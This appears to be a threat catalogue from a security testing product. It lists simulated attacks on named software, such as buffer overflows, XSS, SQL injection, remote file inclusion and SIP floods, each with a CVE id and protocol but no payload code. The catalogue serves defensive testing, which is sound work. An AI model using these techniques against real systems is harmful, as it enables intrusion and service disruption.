Detailed Description:	A memory corruption vulnerability has been reported in Adobe Flash Player. The vulnerability is due to an out of bounds array copy in the copyRawDataTo() method of Matrix3D class. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to download and process a maliciously crafted file. This can lead to code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-N/A
OSVDB:	N/A
Threat File Name:	FSC20040329-01_eSignal_Buffer_Overflow_IPv6.xml
Executive Description:	eSignal Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow exists in eSignal, a real-time market data and support tool. The vulnerability allows remote attackers to execute arbitrary code on vulnerable systems. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-1868
Threat Package:	Standard
Threat File Name:	oracle_reports_xss.xml
Executive Description:	Oracle Reports Server XSS Attempt
Detailed Description:	This threat represents an attempt to cause a cross-site scripting attack on Oracle Reports 10g. This can be used to gain user credentials and other sensitive user data.
Protocol Type:	HTTP
CVEID:	CVE-2005-0873
OSVDB:	15050
Threat Package:	Standard
Threat File Name:	rhino_xss_IPv6.xml
Executive Description:	Rhino XSS Attack (IPv6 Version)
Detailed Description:	This threat demonstrates a cross-site scripting attack in RhinoSoft's webserver component of dns4me. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-1690
OSVDB:	10038

Threat Package:	Standard
Threat File Name:	TSL20140211-13_Microsoft_Direct2D_SVG_Path_Memory_Corruption.xml
Executive Description:	Microsoft Direct2D SVG Path Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft's Direct2D library. The vulnerability is due to the way the library handles certain 2D geometric figures. A remote attacker can exploit this vulnerability by enticing a user to download and process a file containing specially crafted 2D figures.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0263
Threat File Name:	FSC20090811-20_Microsoft_Remote_Desktop_ActiveX_Control_Heap_Overflow.xml
Executive Description:	Microsoft Remote Desktop ActiveX Control Heap Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Remote Desktop ActiveX control. The vulnerability is due to a boundary error when the Remote Desktop ActiveX control processes an argument passed to MsRdpClientShell's RdpFileContents property. A malicious attacker can entice a user to download a specially crafted web page that could allow remote code execution. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user. In the event of an unsuccessful attack, the application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1929
Threat Package:	Standard
Threat File Name:	FSC20080811-05_Apache_Tomcat_allowLinking_URIencoding_Directory_Traversal_Vulnerabilit_IPv6.xml
Executive Description:	Apache Tomcat allowLinking URIencoding Directory Traversal Vulnerability (IPv6 Version)
Detailed Description:	There exists a directory traversal vulnerability in the Apache Tomcat. The vulnerability is due to an input validation error in Tomcat that does not properly sanitize the URI for directory traversal patterns. Successful exploitation allows unauthenticated remote attackers to disclose or access arbitrary files on the vulnerable server. (IPv6 Version)
Protocol Type:	HTTP-ALT/IPv6
CVEID:	CVE-2008-2938
Threat Package:	Standard
Threat File Name:	nimda5.xml
Executive Description:	Nimda Request URL 5
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	firefoxAddOnInject.xml
Executive Description:	Firefox XSS Code Injection
Detailed Description:	This threat takes advantage in a flaw in the Mozilla Firefox web browser which allows an attacker to execute arbitrary code on the client. This is performed by creating a page which loads the add-ons webpage for Firefox and then calls the install method on that page. By doing this, the attacker is able to insert arbitrary code into an element that runs in the context of the user. This flaw is used by showing the user a malicious webpage, typically served on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1477
Threat Package:	Standard
Threat File Name:	http_explorerwebserv_transversal_IPv6.xml
Executive Description:	Http explorer Web Server 1.02 Directory Transversal Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a specially crafted url string to read arbitrary files from an affected web server. Http explorer Web Server is a web server that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6758
Threat Package:	Standard
Threat File Name:	tivoli_cad_IPv6.xml
Executive Description:	IBM Tivoli Storage Manager 5.3 Express CAD Service Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a stack overflow in IBM's Tivoli Storage Manager, that results in execution of arbitrary code. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2007-4880
Threat Package:	Standard
Threat File Name:	w3filer_dos.xml
Executive Description:	W3Filer 2.1.3 Banner Handling Remote Buffer Overflow Vulnerability
Detailed Description:	This threat causes a W3Filer client to crash by sending a large banner from a ftp server. This threat is delivered via ftp server listening on port 21.
Protocol Type:	FTP
CVEID:	CVE-2007-3548
Threat Package:	Standard
Threat File Name:	backupexec.xml
Executive Description:	Veritas Backup Exec Agent Buffer Overflow
Detailed Description:	This attack attempts to bind a listening shell on a vulnerable version of Backup Exec Agent. Backup Exec Agent typically listens on port 6101.
Protocol Type:	Proprietary
CVEID:	CVE-2004-1172
OSVDB:	12418
Threat Package:	Standard
Threat File Name:	TSL20170228-03_Foxit_PDF_Reader_JBIG2_Symbol_Dictionary_Out_of_Bounds_Read.xml
Executive Description:	Foxit PDF Reader JBIG2 Symbol Dictionary Out of Bounds Read

Detailed Description:	An out-of-bounds vulnerability has been reported in the JBIG2 component of Foxit PDF Reader. This vulnerability is due to improper processing of Symbol Dictionary segment in an embedded JBIG2 image. A remote attacker could exploit this vulnerability by enticing a victim user to visit a malicious web page or open a crafted PDF document. Successful exploitation could result in disclosure of information which could be used to further compromise the target system.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP
CVEID:	CVE-2016-8334
Threat File Name:	TSL20150731-04_Dell_NetVault_Backup_Denial_of_Service.xml
Executive Description:	Dell NetVault Backup Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in Dell NetVault Backup. The vulnerability is due to an assertion failure when processing specially crafted data sent to TCP port 20031. A remote unauthenticated attacker can exploit this vulnerability to cause a denial of service condition on the target system.
Protocol Type:	Dell NetVault nvpmgr Protocol
CVEID:	CVE-2015-5696
Threat File Name:	FSC20081121-03_BitDefender_Antivirus_PDF_Processing_Memory_Corruption.xml
Executive Description:	BitDefender Antivirus PDF Processing Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in multiple BitDefender products. The vulnerability is due to boundary errors within the BitDefender PDF Scanner plugin pdf.xmd. A remote attacker can exploit this vulnerability by delivering a crafted PDF file to the vulnerable system, potentially causing arbitrary code to be injected and executed in the security context of the current user. In case of a successful code injection and execution attack, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the currently logged in user. If the code injection and execution fails, a denial of service might occur due to termination of the anti-virus process, or resource exhaustion when the attack results in an infinite loop in the code. Both cases might allow for further exploitation of the target system, exposing the system to other threats in absence of the Antivirus daemon.
Protocol Type:	SMTP/HTTP/SMB/FTP
Threat Package:	Standard
Threat File Name:	TSL20140613-02_ISC_BIND_EDNS_Option_Processing_Denial_of_Service_IPv6.xml
Executive Description:	ISC BIND EDNS Option Processing Denial of Service IPv6 version
Detailed Description:	A denial of service vulnerability exists in ISC BIND. The vulnerability is caused by an assertion failure when processing the EDNS option. A remote attacker may exploit this vulnerability by sending a specially crafted query to the affected servers. Successful exploitation would result in the BIND service terminating unexpectedly.
Protocol Type:	DNS.IPV6
CVEID:	CVE-2014-3859
OSVDB:	107999
Threat File Name:	cacti_execution_IPv6.xml
Executive Description:	Cacti Remote Code Execution Attack (IPv6 Version)
Detailed Description:	This threat inserts a block of PHP code that will get executed through a flaw in the Cacti web application. This application typically resides on a webserver and listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1526
Threat Package:	Standard
Threat File Name:	winamp_avl_dos_IPv6.xml
Executive Description:	Nullsoft Winamp AVI File Processing Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious avi media file that once played in a vulnerable Winamp client will result in a denial of service condition or execution of arbitrary code. Winamp is a client application that can retrieve avi files from a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2180
Threat Package:	Standard
Threat File Name:	TSL20170418-05_Mantis_Bug_Tracker_verify.php_confirm_hash_Remote_Password_Reset.xml
Executive Description:	Mantis Bug Tracker verify.php confirm_hash Remote Password Reset
Detailed Description:	A remote password reset vulnerability has been reported in Mantis Bug Tracker. The vulnerability is due to a lack of input validation on the confirm_hash parameter when verifying password reset requests. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to the affected page. Successful exploitation results in the attacker being able to change the password for arbitrary accounts.
Protocol Type:	HTTPS,HTTP
CVEID:	CVE-2017-7615
Threat File Name:	TSL20121009-19_Adobe_Flash_Player_OP_inclocal_and_OP_declocal_Memory_Corruption.xml
Executive Description:	Adobe Flash Player OP_inclocal and OP_declocal Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Adobe Flash Player. The vulnerability is due to memory access without bounds checking while verifying OP_inclocal and OP_declocal opcodes. remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a Flash file with an affected version of Adobe Flash Player. Successful exploitation would result in execution of arbitrary code in the security context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-5271
OSVDB:	86048
Threat File Name:	mxshop_idp_sqli.xml
Executive Description:	MX Shop Pages Module 'idp' variable SQL Injection
Detailed Description:	This threat sends a crafted URL containing an SQL query which is executed by the server with the servers permissions. MX Shop is a web application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3004
OSVDB:	19611
Threat File Name:	sipmultiplecallid.xml
Executive Description:	SIP Multiple Call-ID: Headers

Detailed Description:	This threat sends out a SIP INVITE message with multiple Call-ID: headers. This may confuse or crash a PBX that isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20080930-27_Autodesk_Multiple_Products_LiveUpdate_ActiveX_Control_Code_Execution.xml
Executive Description:	Autodesk Multiple Products LiveUpdate ActiveX Control Code Execution
Detailed Description:	There exists a code execution vulnerability in Autodesk LiveUpdate ActiveX Control shipped with multiple products. The vulnerability is due to lack of sanitation while handling parameters passed to the ApplyPatch method. A remote attacker could exploit the vulnerability by enticing the target user to open a malicious HTML document. Successful exploitation would cause arbitrary command execution in the security context of the currently logged on user.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170502-01_Intel_Active_Management_Technology_Remote_Privilege_Escalation_IPv6.xml
Executive Description:	Intel Active Management Technology Remote Privilege Escalation (IPv6 Version)
Detailed Description:	A remote privilege escalation vulnerability has been reported in Intel Active Management Technology (AMT) and the Intel Standard Manageability (ISM) and Intel Small Business Technology (SBT) variants. The vulnerability is due to improper handling of digest access authentication over HTTP. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted request to the target system. Successful exploitation allows an unprivileged attacker to gain administrative privileges over the management component of the target system.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-5689
Threat File Name:	FSC20070820-17_EMC_Legato_NetWorker_Remote_Exec_Service_Buffer_Overflow_IPv6.xml
Executive Description:	EMC Legato NetWorker Remote Exec Service Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in EMC legato NetWorker product. The flaw is due to improper boundary protection when processing RPC requests. A remote unauthenticated attacker can leverage this vulnerability by sending crafted RPC message to the target host, potentially inject and execute arbitrary code with System level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-3618
Threat Package:	Standard
Threat File Name:	mambo_gallery_rfi_IPv6.xml
Executive Description:	Mambo Gallery Manager MosConfig_Absolute_Path Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Mambo Gallery Manager is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	admbok_cmi_IPv6.xml
Executive Description:	Admbok Arbitrary Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted POST command with a modified X-Forwarded-For field containing PHP code which is executed by the server. Admbok is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	tivoli_prvsmgr_bof_IPv6.xml
Executive Description:	IBM Tivoli Provisioning Manager Remote PRE AUTH Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a stack overflow in IBM Tivoli Provisioning Manager via a http GET request, leading to denial of service or potentially execute arbitrary code with SYSTEM privileges. This threat is typically delivered to the affected system via port 8080. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1868
OSVDB:	34678
Threat Package:	Standard
Threat File Name:	ms03-049-1_IPv6.xml
Executive Description:	MS03-049 Buffer Overflow in RPC Logging Functions (IPv6 Version)
Detailed Description:	This threat sends a large name in an attempt to get the Microsoft RPC service to overflow due to a bad string copy. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2003-0812
OSVDB:	11461
Threat Package:	Standard
Threat File Name:	firefoxPopupInject_IPv6.xml
Executive Description:	Firefox Blocked Popup Code Injection (IPv6 Version)
Detailed Description:	This attack injects Javascript code into the popup blocker dialog. If the user chooses to allow this popup window, the Javascript runs with elevated privileges allowing the attacker to control the browser and computer. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1153
OSVDB:	15684
Threat Package:	Standard
Threat File Name:	TSL20120106-04_Apple_QuickTime_JPEG_2000_COD_Length_Integer_Underflow.xml
Executive Description:	Apple QuickTime JPEG 2000 COD Length Integer Underflow
Detailed Description:	A remote code execution vulnerability exists in Apple's QuickTime media player. The vulnerability is due to a memory corruption caused by insufficient validation of a JPEG 2000 COD marker segment's length value. The affected value is subtracted from, causing an underflow, before being used in a memory operation. A remote attacker could entice a target user to open a crafted JPEG 2000 file to exploit this vulnerability. A successful exploitation attempt could result in the execution of arbitrary code in the target user's security context.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2011-3250

Threat File Name:	aigaion_rfi.xml
Executive Description:	Aigaion pageactionauthor.php DIR Variable Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Aigaion is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5930
OSVDB:	30378
Threat Package:	Standard
Threat File Name:	TSL20140416-17_Oracle_Data_Quality_DateTimeWrapper_onchange_Untrusted_Pointer_Dereference_IPv6.xml
Executive Description:	Oracle Data Quality DateTimeWrapper onchange Untrusted Pointer Dereference(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Oracle Data Profiling and Data Quality for Data Integrator. The vulnerability is due to dereferencing an arbitrary pointer within the TSSL2.DscForms.DateTimeWrapper ActiveX control. A remote attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2014-2416
OSVDB:	105819
Threat File Name:	FSC20091110-12_Microsoft_Office_Excel_Row_Record_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Office Excel Row Record Heap Buffer Overflow
Detailed Description:	Microsoft Office Excel contains a heap buffer overflow vulnerability while parsing specially crafted Excel documents. The vulnerability is due to improper validation of certain values in a Row record that allows for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-3130
Threat Package:	Standard
Threat File Name:	FSC20040219-03_OpenSSL_Handshake_DoS.xml
Executive Description:	OpenSSL Handshake DoS
Detailed Description:	Many software and hardware products use the OpenSSL library for SSL/TLS support. These include all Cisco products, Nortel/Alteon products, Juniper products, the Apache web server, and a very large number of other hardware and software products (see below). A vulnerability exists in the OpenSSL library's handling of ChangeCipherSpec messages within the SSL protocol. This vulnerability may allow remote attackers to cause applications using OpenSSL to terminate.
Protocol Type:	TCP
CVEID:	CVE-2004-0079
Threat Package:	Standard
Threat File Name:	sipvariedtransports.xml
Executive Description:	SIPPING: Varied and Unknown Transports
Detailed Description:	This threat sends out a SIP message with many different transport types in the Via: headers, some of unknown type. This should be legal because the first transport type is UDP, but it may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20110412-15_Microsoft_Internet_Explorer_Object_Management_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Object Management Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error in managing objects which could lead to freeing an object twice. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-1345
Threat File Name:	zenturi_pgrmchkkr_activex_bof_IPv6.xml
Executive Description:	Zenturi ProgramChecker ActiveX Control Multiple Insecure Methods Vulnerabilities (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Zenturi ProgramChecker ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-POST_PrepndHTTPWithformatn_IPv6.xml
Executive Description:	Fuzz HTTP POST with Request-URI prepended with %n (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	fuzz-HTTP-OPTION_PrepndHTTPWithformats_IPv6.xml
Executive Description:	Fuzz HTTP OPTION with Request-URI prepended with %s (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20170612-08_Schneider_Electric_U.motion_Builder_loadtemplate.php_SQL_Injection_IPv6.xml

Executive Description:	Schneider Electric U.motion Builder loadtemplate.php SQL Injection (IPv6 Version)
Detailed Description:	An SQL injection vulnerability has been reported in Schneider Electric U.motion Builder. The vulnerability is due to insufficient validation of the tpl HTTP parameter of the loadtemplate.php request. A remote, unauthenticated user can exploit this vulnerability by sending a crafted HTTP request to the affected page. Successful exploitation could result in the execution of arbitrary SQL commands on the target server.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2017-7973
Threat File Name:	firefox_onunload_IPv6.xml
Executive Description:	Firefox onUnload + document.write() Memory Corruption Vulnerability (IPv6 Version)
Detailed Description:	This threat is a maliciously constructed webpage that uses Javascript to crash Firefox or Internet Explorer. It uses the onUnload and document.write() functions to cause memory corruption in Firefox or a null pointer exception in IE7. This threat is a client-side attack and comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130312-05_Microsoft_Internet_Explorer_saveHistory_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer saveHistory Use After Free(IPV6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a use-after-free error when processing Web pages using the saveHistory behaviour. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2013-0088
OSVDB:	91139
Threat File Name:	powerpoint0day_IPv6.xml
Executive Description:	Microsoft Powerpoint Flaw (IPv6 Version)
Detailed Description:	This is an attack on Microsoft Powerpoint. It would typically come from a malicious webserver, listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070814-12_Microsoft_Internet_Explorer_Vector_Markup_Language_VGX_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Internet Explorer Vector Markup Language VGX Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the Vector Markup Language (VML) implementation in Microsoft Windows. The vulnerability is caused due to an integer underflow in the VML implementation (vgx.dll) when receiving compressed HTTP response. Remote attackers can exploit this vulnerability by enticing the target user to visit a malicious webpage, to cause a heap-based buffer overflow and possibly inject and execute arbitrary code on the target system with the privileges of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1749
Threat Package:	Standard
Threat File Name:	CUPSdos2_IPv6.xml
Executive Description:	CUPS Denial of Service Crash (IPv6 Version)
Detailed Description:	This threat causes a parsing error in the CUPS printer daemon. It is done by sending a malicious GET request to the applications management port, typically TCP port 631. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100419-02_Multiple_Vendors_AgentX_receive_agentx_Integer_Overflow.xml
Executive Description:	Multiple Vendors AgentX receive_agentx Integer Overflow
Detailed Description:	A buffer overflow vulnerability exists in multiple products that use the AgentX++ software. The vulnerability is due to an integer overflow error in AgentX::receive_agentx function that can lead to a heap buffer overflow. A remote unauthenticated attacker can exploit this vulnerability by sending maximum payload length value in a packet to the target server on port 705/TCP. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the server process. Code injection that does not result in execution could terminate the application due to memory corruption, and could result in a Denial of Service condition.
Protocol Type:	AgentX
CVEID:	CVE-2010-1319
Threat Package:	Standard
Threat File Name:	FSC20110208-31_Microsoft_Office_Visio_Data_Type_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Visio Data Type Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Visio. The vulnerability is due to an error while validating objects in memory. A remote attacker can exploit this vulnerability by enticing a user to open a malicious file with an affected version of Microsoft Visio. In attack scenarios where code execution is successful the behaviour of the target machine is dependent entirely on the intention of the injected code, which will run within the security context of the target user. When code execution is not successful the affected application may terminate abnormally. Note: TELUS Security Labs team has not been able to reproduce this vulnerability during the contractual research period.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2011-0093
Threat File Name:	FSC20100810-03_Microsoft_Office_Word_RTF_Parsing_Buffer_Overflow.xml
Executive Description:	Microsoft Office Word RTF Parsing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office Word. The vulnerability is due to insufficient data validation when parsing rich text data. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-1902

Threat File Name:	ccrp_foldertreeview_dos_IPv6.xml
Executive Description:	FolderTreeView ActiveX Control Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat use a maliciously crafted html page to trigger a denial of service condition due to the vulnerable ActiveX "FolderTreeView" Control in Internet Explorer. This affects the FolderTreeView ActiveX Control using Internet Explorer Web Browser clients that typically connect to the http port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20141211-08_ManageEngine_NetFlow_Analyzer_And_IT360_CReportPDFServlet_Arbitrary_File_Download_IPv6.xml
Executive Description:	ManageEngine NetFlow Analyzer And IT360 CReportPDFServlet Arbitrary File Download IPv6 version.
Detailed Description:	An arbitrary file download vulnerability exists in ManageEngine Netflow Analyzer and IT360. The vulnerability is due to a directory traversal error in the exposed insecure method validation on the "schFilePath" parameter sent to the CReportPDFServlet in HTTP requests. A remote unauthenticated attacker can download arbitrary files from arbitrary locations on the server by sending malicious requests to it. Tester should set \$destPort to 8080 before test.
Protocol Type:	HTTP.IPV6
CVEID:	CVE-2014-5445
OSVDB:	115341
Threat File Name:	TSL20131125-06_ABB_Test_Signal_Viewer_CWGraph3D_ActiveX_Arbitrary_File_Creation.xml
Executive Description:	ABB Test Signal Viewer CWGraph3D ActiveX Arbitrary File Creation
Detailed Description:	An arbitrary file writing vulnerability exists in ABB Test Signal Viewer. The vulnerability is due to a directory traversal error in the exposed insecure method ExportStyle by the included CWGraph3D (cw3dgrph.ocx) ActiveX control. An attacker could exploit this vulnerability by enticing the target user to open a malicious web page or to view a malicious document. Successful exploitation would allow an attacker to create arbitrary files with attacker-controlled contents on the target machine.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-5022
OSVDB:	96160
Threat File Name:	FTP_Windows_Listing.xml
Executive Description:	FTP C:\Windows\ listing
Detailed Description:	This threat attempts to list the C:\Windows directory via FTP. This is a common flaw in many FTP servers that do not check to make sure the directory specified is inside the FTP root. FTP typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2005-2726
OSVDB:	18969
Threat Package:	Standard
Threat File Name:	mambo_comvideo_rfi.xml
Executive Description:	com_videodb Mambo Component <= 0.3en Remote Include Vulnerability
Detailed Description:	This threat sends a crafted url that contains malicious PHP code that is then passed to the "mosConfig_absolute_path" parameter and executed by the effected server.Mambo Component com_videodb is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-CVE-2006-3736
OSVDB:	27431
Threat Package:	Standard
Threat File Name:	FSC20040319-02_OpenBSD_ISAKMP_Multiple_Vulnerabilities.xml
Executive Description:	OpenBSD ISAKMP Multiple Vulnerabilities
Detailed Description:	There are multiple vulnerabilities within the ISAKMP daemon that is included in installations of OpenBSD. A remote attacker without credentials can cause, through a steady stream of traffic, a denial of service condition on the remote server.
Protocol Type:	ISAKMP
Threat Package:	Standard
Threat File Name:	TSL20170404-03_Digium_Asterisk_CDR_ast_cdr_setuserfield_Buffer_Overflow.xml
Executive Description:	Digium Asterisk CDR ast_cdr_setuserfield Buffer Overflow
Detailed Description:	A buffer overflow has been reported in the CDR engine of Digium Asterisk. The vulnerability is due to a lack of size checking when setting the user field of a CDR.A remote, authenticated attacker can exploit this vulnerability by sending a crafted message to an affected Asterisk server. Successful exploitation could result in arbitrary code execution under the context of the user running the Asterisk service.
Protocol Type:	SIP,SIPS
CVEID:	CVE-2017-7617
Threat File Name:	hibyeflood.xml
Executive Description:	SIP HI-BYE Flood
Detailed Description:	This threat sends out a flood of SIP INVITE followed by BYE packets, attempting to overwhelm either a PBX or a VoIP phone.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	vhcs_abp_IPv6.xml
Executive Description:	VHCS add_user.php Authentication Bypass Vulnerability (IPv6 Version)
Detailed Description:	This threat sends an HTTP query with unexpected input leading to an authentication bypass. VHCS is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0686
Threat File Name:	FSC20100413-16_Microsoft_Windows_MPEG_Layer-3_Audio_Decoder_Stack_Buffer_Overflow.xml
Executive Description:	Microsoft Windows MPEG Layer-3 Audio Decoder Stack Buffer Overflow

Detailed Description:	A code execution vulnerability has been reported in the Microsoft Windows MPEG Layer-3 decoder. The vulnerability is due to an error in the MPEG Layer 3 decoder while parsing malformed AVI files. An attacker can exploit this vulnerability by creating a specially crafted AVI file and enticing an unsuspecting user to access the file. In attack scenarios where code execution is successful the injected code will be executed within the context of the currently logged in user. When code execution is not successful, the affected application may terminate abnormally, leading to a denial of service condition.
Protocol Type:	Not available
CVEID:	CVE-2010-0480
Threat Package:	Standard
Threat File Name:	FSC20090331-08_IBM_WebSphere_Application_Server_Cross_Site_Scripting_IPv6.xml
Executive Description:	IBM WebSphere Application Server Cross Site Scripting (IPv6 Version)
Detailed Description:	A cross-site scripting vulnerability exists in IBM WebSphere Application Server (WAS). The flaw is due to lack of validation of the user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML and script code on target user's web browser, within the context of a trusted web site. An attack targeting this vulnerability can result in the injection and execution of script code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Unsuccessful attack attempts could either be unnoticed by the target user, or cause incorrect rendering of the affected web pages. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	bootpd_overflow_IPv6.xml
Executive Description:	BOOTPD Overflow (IPv6 Version)
Detailed Description:	This threat causes an overflow in certain versions of bootpd for Unix and Linux. bootpd normally listens on port 67. (IPv6 Version)
Protocol Type:	BOOTP/IPv6
CVEID:	CVE-1999-0799
OSVDB:	7420
Threat Package:	Standard
Threat File Name:	TSL20131211-05_PHP_OpenSSL_Extension_X_509_Certificate_Memory_Corruption.xml
Executive Description:	PHP OpenSSL Extension X.509 Certificate Memory Corruption
Detailed Description:	A code execution vulnerability has been reported in PHP. The vulnerability is due to a memory corruption error when handling a malicious ASN.1 data type for a timestamp in an X.509 certificate. A remote attacker can exploit this flaw by sending a malicious certificate. Successful exploitation could result in the execution of arbitrary code in the security context of the target service, which is SYSTEM by default.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6420
OSVDB:	100979
Threat File Name:	TSL20101214-37_Microsoft_Office_TIFF_Image_Converter_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office TIFF Image Converter Heap Buffer Overflow(IPv6)
